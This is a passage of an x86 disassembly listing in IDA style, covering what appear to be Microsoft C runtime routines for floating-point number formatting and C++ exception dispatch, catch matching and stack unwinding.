sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB9BC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB9C4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB9BC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB9C4, ecx
		setl	cl
		mov	byte_4DB9C8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB9C4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB9C0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB9C0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB9C0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB9C0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB9CC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DB9D0
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DB9D4, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB9CC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DB9D0
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB9CC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DB9D0, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E8o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278ECo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278E0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB9CC, eax
		mov	eax, [ebp-20h]
		mov	dword_4DB9D0, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
